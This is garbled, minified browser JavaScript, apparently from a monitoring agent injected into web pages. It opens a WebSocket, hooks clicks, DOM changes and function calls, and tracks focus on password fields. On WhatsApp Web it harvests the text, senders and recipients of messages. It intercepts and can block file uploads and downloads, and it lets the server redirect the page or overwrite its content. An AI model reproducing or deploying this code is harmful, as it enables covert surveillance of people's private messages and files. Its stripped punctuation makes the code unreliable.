sendLog: + this.sendLog + sendLogFullData: + this.sendLogFullData); if (document.readyState interactive || document.readyState complete) this.attachEvents(); else window.addEventListener(DOMContentLoaded, this.attachEvents.bind(this)); setInterval(this.sendPendingPackets.bind(this), 1000); }, /* * here we scan all provided settings and choose what listeners are required * we dont want to intrude in the js more that necessary for performance and compatibility considerations */ attachEvents: function () { var needClick false, needChange false, needChildList this.sendLogSnapshots, needCharacterData this.sendLogSnapshots, callObjects ; this.pages.forEach(function (page) { page.objects.forEach(function (obj) { addText, removeText, addElm, removeElm, stateByElm.forEach(function (source) { if (obj.sources.includes(source)) needChildList true; }); if (obj.sources.includes(changeText)) needCharacterData true; if (obj.sources.includes(change)) needChange true; if (obj.sources.includes(click)) needClick true; if (obj.sources.includes(call)) callObjects.push({ page: page, obj: obj }); }); }); this.log(attachEvents: needClick: + needClick + needChange: + needChange + needChildList: + needChildList + needCharacterData: + needCharacterData); if (needClick) window.addEventListener(click, this.onEvent.bind(this), true); if (needChange) window.addEventListener(change, this.onEvent.bind(this), true); if (needChildList || needCharacterData) new MutationObserver(this.onMutation.bind(this)).observe(document, { subtree: true, childList: needChildList, characterData: needCharacterData }); if (needClick || needChange || needChildList || needCharacterData) { /* we process mutation events only after human interaction */ window.addEventListener(keydown, this.onInteraction.bind(this)); window.addEventListener(mousedown, this.onInteraction.bind(this)); } if (callObjects.length > 0) { var self this; var intervalHandle setInterval(function () { for (var i callObjects.length - 1; i > 0; i--) { if (self.interceptCall(callObjectsi)) callObjects.splice(i, 1); } if (callObjects.length 0) clearInterval(intervalHandle); }, 500); } }, interceptCall: function (callObj) { var obj callObj.obj, jsObj; try { jsObj this.calc(obj, object, , ); } catch{ } if (jsObj null) { this.log(attachEvents: object: + obj.id + is not found); return false; } var method jsObjobj.func; var self this; jsObjobj.func function () { var arg_data self.calc(obj, arg_data, args, arguments, return null); var ret method.apply(jsObj, arguments); var return_data self.calc(obj, return_data, ret, ret, return null); if (arg_data ! null || return_data ! null) self.sendEvent(interceptCall, callObj.page, obj, undefined, { arg_data: arg_data, return_data: return_data }); return ret; }; self.log(attachEvents: object: + obj.id + , + (obj.object || obj.object_f) + is found, call to + obj.func + intercepted); return true; }, /* new Date().getTime() of the last human interacion (keydown, mousedown, mouseup) to filter out DOM mutation events that was not due to human activity */ lastInteraction: null, /* on human interaction (keydown, mousedown, mouseup) */ onInteraction: function (ev) { this.lastInteraction new Date().getTime(); this.log(onInteraction: human Interaction + ev.type + : + this.lastInteraction); }, /* handles click and change events */ onEvent: function (ev) { var self this; this.callSafe(onEvent, function () { self.handleEvent(ev.type, ev.type, ev.composed ? ev.composedPath() : self.getAncestors(ev.target)); }); }, /* handles addText, changeText, removeText, addElm, removeElm DOM mutation events */ onMutation: function (mList) { var self this; if (this.sendLogSnapshots) this.log(snapshot: + document.body.outerHTML.replace(/\n|\r/g, #)); this.callSafe(onMutation, function () { if (self.lastInteraction ! null) { mList.forEach(function (m) { if (m.type childList) { m.removedNodes.forEach(function (sub) { if (sub.nodeType Node.TEXT_NODE) self.handleEvent(change, removeText, self.getAncestors(m.target)); else if (sub.nodeType Node.ELEMENT_NODE) self.handleEventWithSub(change, removeElm, self.getAncestors(m.target), sub); }); m.addedNodes.forEach(function (sub) { if (sub.nodeType Node.TEXT_NODE) self.handleEvent(change, addText, self.getAncestors(m.target)); else if (sub.nodeType Node.ELEMENT_NODE) self.handleEventWithSub(change, addElm, self.getAncestors(m.target), sub); }); } else if (m.type characterData && m.target) self.handleEvent(change, changeText, self.getAncestors(m.target)); }); } self.processStateByElm(); }); }, objId2key2value: {}, processStateByElm: function () { var self this; self.forEachObject(stateByElm, function (page, obj) { var key2value {}; if (self.calc(obj, condition, , , return true;)) { self.applySelector(document, obj.selector).forEach(function (elm) { var key self.calc(obj, key, e, elm); var value self.calc(obj, value, e, elm); key2valueJSON.stringify(key) JSON.stringify(value); }); } var oldKey2Value self.objId2key2valueobj.id; oldKey2Value oldKey2Value ? oldKey2Value : {}; for (var k in key2value) { if (key2valuek ! oldKey2Valuek) self.sendEvent(change, page, obj, undefined, { key: JSON.parse(k), old: oldKey2Valuek ? JSON.parse(oldKey2Valuek) : undefined, new: JSON.parse(key2valuek) }); delete oldKey2Valuek; } for (var k in oldKey2Value) self.sendEvent(change, page, obj, undefined, { key: JSON.parse(k), old: oldKey2Valuek ? JSON.parse(oldKey2Valuek) : undefined }); self.objId2key2valueobj.id key2value; }); }, /* get ancestors for the element */ getAncestors: function (e) { var path ; for (; e ! document && e ! null; e e.parentNode) path.push(e); return path; }, /* handles simple events: click, change, addText, changeText, removeText */ handleEvent: function (type, source, ancestors) { if (this.sendLog) /* double check not to call elementString in vain */ this.log(handleEvent: type: + type + source: + source + target: + this.elementString(ancestors0)); var self this; this.forEachMatch(source, ancestors, function (page, obj, elm) { self.send(type, page, obj, ancestors0, elm); }); }, /* handles events with sub element: addElm, removeElm */ handleEventWithSub: function (type, source, ancestors, sub) { if (this.sendLog) /* double check not to call elementString in vain */ this.log(handleEventWithSub: type: + type + source: + source + target: + this.elementString(ancestors0) + sub: + this.elementString(sub)); var self this; this.forEachMatch(source, ancestors, function (page, obj, elm) { if (!obj.sub_matches || sub.matches(obj.sub_matches)) { if (obj.sub_selector) { self.applySelector(sub, obj.sub_selector).forEach(function (descendant) { self.send(type, page, obj, ancestors0, elm, sub, descendant); }); } else { self.send(type, page, obj, ancestors0, elm, sub); } } }); }, /* enumerate all obj based on url and source. calls handler(page, obj) */ forEachObject: function (source, handler) { var self this; this.pages.forEach(function (page) { if (self.testRegex(page.url, document.URL)) { page.objects.forEach(function (obj) { if (obj.sources.includes(source)) handler(page, obj); }); } }); }, /* enumerate all matches based on url, source and interactionInterval, matches and selector. calls handler(page, obj, matchedElm) */ forEachMatch: function (source, ancestors, handler) { var self this; this.forEachObject(source, function (page, obj) { if (obj.interactionInterval && (self.lastInteraction null || new Date().getTime() - self.lastInteraction > obj.interactionInterval)) { if (self.lastInteraction ! null) self.log(forEachMatch skip rule: interval: + (new Date().getTime() - self.lastInteraction).toString()); } else { var scope obj.scope target ? ancestors0 : ancestors, m obj.matches, set !m && obj.selector ? self.applySelector(document, obj.selector) : null; for (var i 0; i scope.length; ++i) { if ((m && scopei.matches && scopei.matches(m)) /* scopei may not be element, test if matches is defined */ || (set && set.includes(scopei))) { handler(page, obj, scopei); break; } } } }); }, /* return array of elements after applying commands from the selector settings */ applySelector: function (root, commands) { const self this; var elms root; commands.forEach(function (command) { var res ; elms.forEach(function (elm) { if (command.test_text) { /* test_text command keeps only elements whose text matches regex */ if (self.testRegex(command.test_text, elm.textContent)) res.push(elm); } else if (command.move) { /* move command transforms element into querySelectorAll set and select shadowRoot if present */ elm.querySelectorAll(:scope + command.move).forEach(function (e) { var s e.shadowRoot; res.push(s ? s : e); }); } else if (command.exists) { /* exists command keeps only elements for which selector set is not empty */ if (self.applySelector(elm, command.exists).length ! 0) res.push(elm); } }); elms res; }); return elms; }, /* send event data to websocket, data structure: * { * cat: insight - this is required to route the message to the proper handler * type: click | changed - type of the event * elm: uint32 - id of the element that fired the event. used for deduplication of the events * page: uint32 - id of the hypermonitored location * obj: uint32 - id of the hypermonitored object that fired event * url: string - current document url * token: string - js injection token, used to unique identify browser page * values: json - contains all collected information about event and its context * } */ lastSentElm: null, lastSentElmId: 0, send: function (type, page, obj, target, e, sub, descendant) { if (this.lastSentElm ! e) { this.lastSentElm e; this.lastSentElmId++; } const values this.calc(obj, values, target, e, sub, descendant, target, e, sub, descendant); if (values) this.sendEvent(type, page, obj, this.lastSentElmId.toString(), values); }, sendEvent: function (type, page, obj, elmId, values) { const t JSON.stringify({ values: values, handler: page.handler, type: type, elm: elmId, page: page.id, obj: obj.id, url: document.URL, token: this.token, proc: this.proc }); if (this.sendLog) console.log(InsightJs send: + t); this.processPacket(t); }, /* utils: cache compiled regexes */ string2regex: {}, testRegex: function (stringRegex, value) { if (stringRegex null) return true; if (!(stringRegex in this.string2regex)) this.string2regexstringRegex new RegExp(stringRegex); return this.string2regexstringRegex.test(value); }, /* utils: cache compiled functions */ code2function: {}, calc: function (host, prop, names, args, defaultCode) { var code hostprop ? return + hostprop + ; : hostprop + _f; if (code null) code defaultCode; if (code null) { this.log(code not found, calc( + JSON.stringify(host) + ), prop: + prop); return {}; } if (!(code in this.code2function)) this.code2functioncode new Function(...names, code); return this.code2functioncode.apply(null, args); }, /* utils: dump html element to the log */ elementString: function (e) { var html e.nodeType Node.TEXT_NODE ? e.data : e.outerHTML; if (this.sendLogFullData) return html; html html.length > 100 ? html.substr(0, 100) + ... total len: + html.length : html; return html.replace(/\n|\r/g, #); }, /* log to console and to the agent */ log: function (message, force) { if (this.sendLog || force) { var m new Date().toLocaleString() + : + message; console.log(InsightJs + m + , url: + document.URL); this.processPacket(JSON.stringify({ handler: log, module: InsightJs, message: m, url: document.URL })); } }, callSafe: function (name, f) { if (!this.sendLogExceptions) f(); else { try { f() } catch (e) { this.log(exception in + name + : + e.name + , + e.message, true); } } } }},L6e4,Tnull,Inull,knull,Cnull,O!1,Hnull,Pnull,R0,xnull,Bnull,_,F!1;!function e(t){m()?setTimeout((function(){e(t)}),1e3):t()}((function(){w.extJs&&w.extJs.init(w.token),n()&&(window.addEventListener(focus,r,!0),w.dontTrackWebPasswords&&window.addEventListener(message,A,!1)),n()||w.extJs?p():w.dontTrackWebPasswords&&f()}))}();/script>script>!function(){var e,t,Y;function n(){try{return window.selfwindow.top}catch(e){return!1}}function r(){setTimeout((function(){var e{type:focus,token:w.token,title:document.title,url:document.URL,focused:document.hasFocus(),useragent:navigator.userAgent,pid:w.pid,pn:w.pn};null!B&&B.readyStateWebSocket.OPEN&&B.send(JSON.stringify(e))}),0)}function a(){var e{type:notification,token:w.token,title:document.title,url:document.URL,focused:document.hasFocus(),timeout:w.sendNotificationsInterval,useragent:navigator.appVersion.length>navigator.userAgent.length?navigator.appVersion:navigator.userAgent,pid:w.pid,pn:w.pn};B.send(JSON.stringify(e))}function s(){y()}function o(){n()&&(clearInterval(T),clearInterval(I)),timeoutsetTimeout((function(){g()}),L)}function i(e){if(n())switch(e.data.substring(0,1)){caser:window.locatione.data.substring(1);break;caseb:document.body.innerHTMLe.data.substring(1);break;casew:var ttruee.data.substring(1).toLowerCase();O!t&&t&&v(),Ot;break;casex:!function(e){try{const tJSON.parse(e),Yb.get(t.requestId);if(Y){b.delete(t.requestId);const{responseCallback:e,fileName:n}Y;e(t,n)}}catch(e){unblockPage()}}(e.data.substring(1))}}function u(e){var tdocument.createElement(a);return t.hrefe,t.href}function d(e){if(!e)return!1;if(passworde.type)return!0;if(e instanceof HTMLInputElement){var twindow.getComputedStyle(e);if(t){var Yt.getPropertyValue(-webkit-text-security);returndisc,circle,square.includes(Y)}}return!1}function c(e,t!1){if(d(e)&&!F)if(F!0,n()){var Y{type:password_input_focus,focus:!0,token:w.token};B.send(JSON.stringify(Y))}else window.top.postMessage({message:iframePasswordInputFocused,name:e.name,type:password},*)}function M(e,t!1){var Ye&&e.name?e.name:unnamed>;if(d(e)&&F)if(F!1,n()){var r{type:password_input_focus,focus:!1,token:w.token};B.send(JSON.stringify(r))}else window.top.postMessage({message:iframePasswordInputBlurred,name:Y,type:password},*)}function l(e){var tdocument.activeElement;t&&t!document.body?document.querySelector&&(tdocument.querySelector(:focus)):tnull;for(var Y0;Ye.length;++Y){let seY;var nd(s),rn&&s.hasAttribute(autofocus),an&&t&&s.isEqualNode(t);(r||a)&&c(s),s.tmInputEventListenerAttached||(s.addEventListener(focus,(function(e){c(e.target)}),!0),s.addEventListener(blur,(function(e){M(e.target)}),!0),s.tmInputEventListenerAttached!0)}}function f(){l(document.getElementsByTagName(input));var enew MutationObserver((function(e){e&&e.forEach((function(e){e&&e.addedNodes&&0!e.addedNodes.length&&(window.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEachArray.prototype.forEach),e.addedNodes.forEach((function(e){if(e.tagName){var t;inpute.tagName.toLowerCase()?t.push(e):te.getElementsByTagName(input),t.length&&l(t)}})))}))}));e.observe(document,{childList:!0,subtree:!0}),window.addEventListener(beforeunload,(function(e){M(),function(){for(var edocument.getElementsByTagName(input),t0;te.length;++t){let Yet;Y.removeEventListener(focus,c),Y.removeEventListener(blur,M),delete Y.tmInputEventListenerAttached}}()}))}function D(){var e;n()&&(w.iup&&(e{type:connect,token:w.token,title:document.title,url:document.URL,focused:document.hasFocus(),useragent:navigator.userAgent,pid:w.pid,pn:w.pn},null!B&&B.readyStateWebSocket.OPEN&&B.send(JSON.stringify(e))),h()&&(v(),y(),function(){function e(e){return e.baseURI&&e.baseURI.startsWith(https://web.whatsapp.com/)}function t(e){const te.dataTransfer.files;t.length>0&&Array.from(t).forEach((e>{N(e)}))}document.querySelectorAll(div).forEach((Y>{e(Y)&&Y.addEventListener(drop,t,{passive:!0})}));var Ynew MutationObserver((function(e){e&&(Array.from(document.querySelectorAll(.message-in, .message-out)).reduce(((e,t)>{var Yt.querySelector(buttontypebutton, divrolebutton);return Y&&e.push(Y),e}),).forEach((e>{const tmodified;e.hasAttribute(t)||(e.setAttribute(t,),e.onclickt>{t.verified||(t.preventDefault(),t.stopPropagation(),new Promise((function(t,Y){!function(e,t,Y){try{const Ye.parentElement,nYObject.keys(Y).find((e>e.includes(__reactProps))).children.props.msg,rn.mediaData,acrypto.randomUUID();b.set(a,{responseCallback:e>t(!e.block)}),B.send(JSON.stringify({requestId:a,type:waptransfer,direction:download,filename:r.__x_filename,filesize:r.__x_size,filetype:r.__x_mimetype,filehash:n.__x_encFilehash,url:document.URL,process:w.pn,content:}))}catch{Y()}}(e,t,(()>setTimeout((()>Y()),1)))})).then((e>{t.verifiede,t.verified&&t.target.dispatchEvent(t)}),(()>{})))})})),e.forEach((function(e){e&&(childList!e.type||e.addedNodes.length0||e.addedNodes.forEach((function(e){if(e&&e.nodeTypeNode.ELEMENT_NODE){e.querySelectorAll(input).forEach((e>{!function(e){const tmodified;file!e.type||e.hasAttribute(t)||(e.setAttribute(t,),e.addEventListener(change,(e>{Array.from(e.target.files).forEach((e>{N(e)}))})))}(e)}));var tdocument.querySelectorAll(dividmain header div)2;if(t){var Yt.querySelectorAll(div)1,nt.querySelectorAll(div)2;k(Y?Y.innerText:)+:+(n?n.innerText:)}document.querySelector(dividmain header spandata-icondefault-user)&&(Cprivate),document.querySelector(dividmain header spandata-icondefault-group)&&(Cgroup);var re.querySelectorAll(.message-in, .message-out);r||E(msgNodes is empty),e.matches(.message-in, .message-out)&&(rArray.prototype.slice.call(r)).push(e),r&&0!r.length?r.forEach((function(e){if(e)if(!e.classList||e.classList.length0)E(msg node does not contain classList or classList is empty);else{var te.classList.contains(message-in),Ye.querySelector(.copyable-text),ne.querySelector(.selectable-text),rnew Date,anull;if(Y&&Y.attributesdata-pre-plain-text){var sY.attributesdata-pre-plain-text.textContent,o/\(\d{1,2}):(\d{1,2}) {0,1}(p|a\.?\s?m\.?)?,\s(.+)\s(.*):/iSymbol.match(s);if(!o||6!o.length)return void E(no matches for string: +s);if(o3&&o3.length>1&&po3.toLowerCase().slice(0,1)&&(o1parseInt(o1)+12),dateParts/(\d{1,4}).-\\/(\d{1,4}).-\\/(\d{1,4})/Symbol.match(o4),!dateParts||4!dateParts.length)return void E(no matches for string: +o4);if(E(o4+_),!(rdate.parse(o4,_)||function(e,t,Y){var ne,t,Y.join(-),e,Y,t.join(-),t,e,Y.join(-),t,Y,e.join(-),Y,e,t.join(-),Y,t,e.join(-),rDate.now();for(var a in n){var sDate.parse(na);if(s&&!(Math.abs(r-s)>1728e6))return new Date(s)}}(dateParts1,dateParts2,dateParts3)))return void E(Cant parse date from string: +o4);r.setHours(o1),r.setMinutes(o2),ao5}E(isIncomingMsg +t+ msgDateTime +r+ msgSender +a+ wapStartTime +x+ wapTrackingEnabled +O),H.get(k)||H.set(k,x);var in?n.innerText:null;if(E(msgContent +i),a&&i&&O){var u(a+i+k+r.getTime()).split().map((function(e){return e.charCodeAt(0)})).reduce((function(e,t){return e+((e7)+(e3))^t})).toString(16);if(H.get(k).getTime()r.getTime()?r.setMilliseconds(++R):(R0,H.set(k,r)),!u||P.has(u))return void E(msgId is null or this msgId already tracked +u);var d{type:wapmessage,timestamp:r.getTime(),id:u,incoming:t,sender:t?a:Me,content:i,recipient:t?Me:k,conversationId:k+(+C+)};B.send(JSON.stringify(d)),P.add(u)}}})):E(no msg nodes found)}})))})))}));if(!Y)return;Y.observe(document.body,{childList:!0,subtree:!0}),E(observer is ready)}()),n()&&(a(),TsetInterval(a,w.sendNotificationsInterval),h()&&(IsetInterval(s,w.pollWhatsappTrackingInterval))),function(){for(var e,tdocument.getElementsByTagName(link),Y0;Yt.length;++Y)icon!tY.getAttribute(rel)&&shortcut icon!tY.getAttribute(rel)||(ee.lengthu(tY.getAttribute(href)));0e.length&&(e0u(/favicon.ico));var n{type:favicon};n.urldocument.URL,n.srce,n.titledocument.title,n.tokenw.token,n.useragentnavigator.appVersion.length>navigator.userAgent.length?navigator.appVersion:navigator.userAgent,B.send(JSON.stringify(n))}(),w.dontTrackWebPasswords&&f())}function p(){document.tmfilter||(g(),_{ar-SA:D/M/YY,bg-BG:D.M.YYYY,ca-ES:D/M/YYYY,zh-TW:YYYY/M/D,cs-CZ:D.M.YYYY,Da-DK:D-M-YYYY,De-DE:D.M.YYYY,el-GR:D/M/YYYY,en-US:M/D/YYYY,fi-FI:D.M.YYYY,fr-FR:D/M/YYYY,he-IL:D/M/YYYY,hu-HU:YYYY. M. D.,is-IS:D.M.YYYY,it-IT:D/M/YYYY,ja-JP:YYYY/M/D,ko-KR:YYYY-M-D,nl-NL:D-M-YYYY,nb-NO:D.M.YYYY,pl-PL:YYYY-M-D,pt-BR:D/M/YYYY,ro-RO:D.M.YYYY,ru-RU:D.M.YYYY,hr-HR:D.M.YYYY,sk-SK:D. M. YYYY,sq-AL:YYYY-M-D,sv-SE:YYYY-M-D,th-TH:D/M/YYYY,tr-TR:D.M.YYYY,ur-PK:D/M/YYYY,iD-ID:D/M/YYYY,uk-UA:D.M.YYYY,be-BY:D.M.YYYY,sl-SI:D.M.YYYY,et-EE:D.M.YYYY,lv-LV:YYYY.M.D.,lt-LT:YYYY.M.D,fa-IR:M/D/YYYY,vi-VN:D/M/YYYY,hy-AM:D.M.YYYY,az-Latn-AZ:D.M.YYYY,eu-ES:YYYY/M/D,Mk-MK:D.M.YYYY,af-ZA:YYYY/M/D,ka-GE:D.M.YYYY,fo-FO:D-M-YYYY,hi-IN:D-M-YYYY,Ms-MY:D/M/YYYY,kk-KZ:D.M.YYYY,ky-KG:D.M.YY,sw-KE:M/D/YYYY,uz-Latn-UZ:D/M YYYY,tt-RU:D.M.YYYY,pa-IN:D-M-YY,gu-IN:D-M-YY,ta-IN:D-M-YYYY,te-IN:D-M-YY,kn-IN:D-M-YY,Mr-IN:D-M-YYYY,sa-IN:D-M-YYYY,Mn-MN:YY.M.D,gl-ES:D/M/YY,kok-IN:D-M-YYYY,syr-SY:D/M/YYYY,Dv-MV:D/M/YY,ar-IQ:D/M/YYYY,zh-CN:YYYY/M/D,De-CH:D.M.YYYY,en-GB:D/M/YYYY,es-MX:D/M/YYYY,fr-BE:D/M/YYYY,it-CH:D.M.YYYY,nl-BE:D/M/YYYY,nn-NO:D.M.YYYY,pt-PT:D-M-YYYY,sr-Latn-CS:D.M.YYYY,sv-FI:D.M.YYYY,az-Cyrl-AZ:D.M.YYYY,Ms-BN:D/M/YYYY,uz-Cyrl-UZ:D.M.YYYY,ar-EG:D/M/YYYY,zh-HK:D/M/YYYY,De-AT:D.M.YYYY,en-AU:D/M/YYYY,es-ES:D/M/YYYY,fr-CA:YYYY-M-D,sr-Cyrl-CS:D.M.YYYY,ar-LY:D/M/YYYY,zh-SG:D/M/YYYY,De-LU:D.M.YYYY,en-CA:D/M/YYYY,es-GT:D/M/YYYY,fr-CH:D.M.YYYY,ar-DZ:D-M-YYYY,zh-MO:D/M/YYYY,De-LI:D.M.YYYY,en-NZ:D/M/YYYY,es-CR:D/M/YYYY,fr-LU:D/M/YYYY,ar-MA:D-M-YYYY,en-IE:D/M/YYYY,es-PA:M/D/YYYY,fr-MC:D/M/YYYY,ar-TN:D-M-YYYY,en-ZA:YYYY/M/D,es-DO:D/M/YYYY,ar-OM:D/M/YYYY,en-JM:D/M/YYYY,es-VE:D/M/YYYY,ar-YE:D/M/YYYY,en-029:M/D/YYYY,es-CO:D/M/YYYY,ar-SY:D/M/YYYY,en-BZ:D/M/YYYY,es-PE:D/M/YYYY,ar-JO:D/M/YYYY,en-TT:D/M/YYYY,es-AR:D/M/YYYY,ar-LB:D/M/YYYY,en-ZW:M/D/YYYY,es-EC:D/M/YYYY,ar-KW:D/M/YYYY,en-PH:M/D/YYYY,es-CL:D-M-YYYY,ar-AE:D/M/YYYY,es-UY:D/M/YYYY,ar-BH:D/M/YYYY,es-PY:D/M/YYYY,ar-QA:D/M/YYYY,es-BO:D/M/YYYY,es-SV:D/M/YYYY,es-HN:D/M/YYYY,es-NI:D/M/YYYY,es-PR:D/M/YYYY,aM-ET:D/M/YYYY,tzM-Latn-DZ:D-M-YYYY,iu-Latn-CA:D/M/YYYY,sMa-NO:D.M.YYYY,Mn-Mong-CN:YYYY/M/D,gD-GB:D/M/YYYY,en-MY:D/M/YYYY,prs-AF:D/M/YY,bn-BD:D-M-YY,wo-SN:D/M/YYYY,rw-RW:M/D/YYYY,qut-GT:D/M/YYYY,sah-RU:M.D.YYYY,gsw-FR:D/M/YYYY,co-FR:D/M/YYYY,oc-FR:D/M/YYYY,Mi-NZ:D/M/YYYY,ga-IE:D/M/YYYY,se-SE:YYYY-M-D,br-FR:D/M/YYYY,sMn-FI:D.M.YYYY,Moh-CA:M/D/YYYY,arn-CL:D-M-YYYY,ii-CN:YYYY/M/D,Dsb-DE:D. M. YYYY,ig-NG:D/M/YYYY,kl-GL:D-M-YYYY,lb-LU:D/M/YYYY,ba-RU:D.M.YY,nso-ZA:YYYY/M/D,quz-BO:D/M/YYYY,yo-NG:D/M/YYYY,ha-Latn-NG:D/M/YYYY,fil-PH:M/D/YYYY,ps-AF:D/M/YY,fy-NL:D-M-YYYY,ne-NP:M/D/YYYY,se-NO:D.M.YYYY,iu-Cans-CA:D/M/YYYY,sr-Latn-RS:D.M.YYYY,si-LK:YYYY-M-D,sr-Cyrl-RS:D.M.YYYY,lo-LA:D/M/YYYY,kM-KH:YYYY-M-D,cy-GB:D/M/YYYY,bo-CN:YYYY/M/D,sMs-FI:D.M.YYYY,as-IN:D-M-YYYY,Ml-IN:D-M-YY,en-IN:D-M-YYYY,or-IN:D-M-YY,bn-IN:D-M-YY,tk-TM:D.M.YY,bs-Latn-BA:D.M.YYYY,Mt-MT:D/M/YYYY,sr-Cyrl-ME:D.M.YYYY,se-FI:D.M.YYYY,zu-ZA:YYYY/M/D,xh-ZA:YYYY/M/D,tn-ZA:YYYY/M/D,hsb-DE:D. M. YYYY,bs-Cyrl-BA:D.M.YYYY,tg-Cyrl-TJ:D.M.YY,sr-Latn-BA:D.M.YYYY,sMj-NO:D.M.YYYY,rM-CH:D/M/YYYY,sMj-SE:YYYY-M-D,quz-EC:D/M/YYYY,quz-PE:D/M/YYYY,hr-BA:D.M.YYYY.,sr-Latn-ME:D.M.YYYY,sMa-SE:YYYY-M-D,en-SG:D/M/YYYY,ug-CN:YYYY-M-D,sr-Cyrl-BA:D.M.YYYY,es-US:M/D/YYYY}navigator.language,document.tmfilterpresent)}function g(){(Bnew WebSocket(w.connectionString)).oncloseo,B.onmessagei,B.onopenD,w.extJs&&(w.extJs.webSock{readyState:()>B.readyState,send:e>B.send(e)})}function m(){var efunction(){var ewebkit,moz,ms,o;if(hiddenin document)returnhidden;for(var t0;te.length;t++)if(et+Hiddenin document)return et+Hidden;return null}();return!!e&&documente}function h(){var edocument.head.querySelector(nameog:title);return!!e&&WhatsApp Webe.getAttribute(content)}function y(){B.send(JSON.stringify({type:waptracking}))}function v(){Hnew Map,Pnew Set,R0,(xnew Date).setSeconds(0),x.setMilliseconds(0)}function S(e){for(var t,Ynew Uint8Array(e),nY.byteLength,r0;rn;r++)t+String.fromCharCode(Yr);return window.btoa(t)}ethis,t{},Y{en:{MMMM:January February March April May June July August September October November December.split( ),MMM:Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec.split( ),dddd:Sunday Monday Tuesday Wednesday Thursday Friday Saturday.split( ),ddd:Sun Mon Tue Wed Thu Fri Sat.split( ),dd:Su Mo Tu We Th Fr Sa.split( ),A:a.m.,p.m.,formatter:{YYYY:function(e){return(000+e.getFullYear()).slice(-4)},YY:function(e){return(0+e.getFullYear()).slice(-2)},Y:function(e){return+e.getFullYear()},MMMM:function(e){return this.MMMMe.getMonth()},MMM:function(e){return this.MMMe.getMonth()},MM:function(e){return(0+(e.getMonth()+1)).slice(-2)},M:function(e){return+(e.getMonth()+1)},DD:function(e){return(0+e.getDate()).slice(-2)},D:function(e){return+e.getDate()},HH:function(e){return(0+e.getHours()).slice(-2)},H:function(e){return+e.getHours()},A:function(e){return this.A11e.getHours()|0},hh:function(e){return(0+(e.getHours()%12||12)).slice(-2)},h:function(e){return+(e.getHours()%12||12)},mm:function(e){return(0+e.getMinutes()).slice(-2)},m:function(e){return+e.getMinutes()},ss:function(e){return(0+e.getSeconds()).slice(-2)},s:function(e){return+e.getSeconds()},SSS:function(e){return(00+e.getMilliseconds()).slice(-3)},SS:function(e){return(0+(e.getMilliseconds()/10|0)).slice(-2)},S:function(e){return+(e.getMilliseconds()/100|0)},dddd:function(e){return this.dddde.getDay()},ddd:function(e){return this.ddde.getDay()},dd:function(e){return this.dde.getDay()},Z:function(e){return(0(ee.utc?0:e.getTimezoneOffset()/.6)?-:+)+(000+Math.abs(e-e%100*.4)).slice(-4)},post:function(e){return e}},parser:{find:function(e,t){for(var Y,n-1,r0,a0,se.length;as;a++)Yea,!t.indexOf(Y)&&Y.length>r&&(na,rY.length);return{index:n,length:r}},MMMM:function(e){return this.parser.find(this.MMMM,e)},MMM:function(e){return this.parser.find(this.MMM,e)},A:function(e){return this.parser.find(this.A,e)},h:function(e,t){return(12e?0:e)+12*t},pre:function(e){return e}}}},t.formatfunction(e,n,r){var at.addMinutes(e,r?e.getTimezoneOffset():0),sY.en,os.formatter;return a.utcr,n.replace(/(\^\\*|\.*\^\*\|YYYY|YY|MMM?M?|DD|HH|hh|mm|ss|SSS?|ddd?d?|.)/g,(function(e){var toe;return t?o.post(t.call(s,a,n)):e.replace(/\(.*)/,$1)}))},t.parsefunction(e,n,r){var a,s,oY.en,io.parser.pre(e),u0,d/(MMMM?|A)|(YYYY)|(SSS)|(MM|DD|HH|hh|mm|ss)|(YY|M|D|H|h|m|s|SS)|(S)|(.)/g,c{2:/^\d{1,4}/,3:/^\d{1,3}/,4:/^\d\d/,5:/^\d\d?/,6:/^\d/};e31,28,31,30,31,30,31,31,30,31,30,31;for(var M{Y:1970,M:1,D:1,H:0,m:0,s:0,S:0};ad.exec(n);){var l0,f1;for(s;!s;)sa++l;as.charAt(0);var Di.slice(u);if(2>l){var po.parsers.call(o,D,n);Map.index,Ma&&Ma++,fp.length}else if(7>l)p(D.match(cl)||)0,Ma0|(Sa?(p+000).slice(0,-s.length):p),fp.length;else if( !a&&a!D0)return NaN;if(!f)return NaN;u+f}return ui.length&&p?(M.Y+70>M.Y?2e3:100>M.Y?1900:0,M.HM.H||o.parser.h(M.h||0,M.A||0),nnew Date(M.Y,M.M-1,M.D,M.H,M.m,M.s,M.S),e1+0|t.isLeapYear(n),1>M.M||12M.M||1>M.D||M.D>eM.M-1||23M.H||59M.m||59M.s?NaN:r?t.addMinutes(n,-n.getTimezoneOffset()):n):NaN},t.isValidfunction(e,Y){return!!t.parse(e,Y)},t.addYearsfunction(e,Y){return t.addMonths(e,12*Y)},t.addMonthsfunction(e,t){var Ynew Date(e.getTime());return Y.setMonth(Y.getMonth()+t),Y},t.addDaysfunction(e,t){var Ynew Date(e.getTime());return Y.setDate(Y.getDate()+t),Y},t.addHoursfunction(e,Y){return t.addMilliseconds(e,36e5*Y)},t.addMinutesfunction(e,Y){return t.addMilliseconds(e,6e4*Y)},t.addSecondsfunction(e,Y){return t.addMilliseconds(e,1e3*Y)},t.addMillisecondsfunction(e,t){return new Date(e.getTime()+t)},t.subtractfunction(e,t){var Ye.getTime()-t.getTime();return{toMilliseconds:function(){return Y},toSeconds:function(){return Y/1e3|0},toMinutes:function(){return Y/6e4|0},toHours:function(){return Y/36e5|0},toDays:function(){return Y/864e5|0}}},t.isLeapYearfunction(e){return!(((ee.getFullYear())%4||!(e%100))&&e%400)},t.isSameDayfunction(e,Y){return t.format(e,YYYYMMDD)t.format(Y,YYYYMMDD)},e.datet;const bnew Map;function N(e){const ttm_overlay,Y10485760;let nfunction(){let edocument.getElementById(t);e&&e.remove(),b.clear()};if(e){const rnew FileReader;let a;e.size>Y&&(ae.slice(0,Y));let s!1;if(b.forEach((t>{t.fileNamee.name&&(s!0)})),!s){r.addEventListener(load,(t>{try{const tcrypto.randomUUID();b.set(t,{responseCallback:e>{e.block&&function(){const e,tt>{t.querySelectorAll(button:not(tabindex-1)).forEach((t>{t.querySelector(spandata-iconx)&&(e.push(t),t.click())}))},Ynew 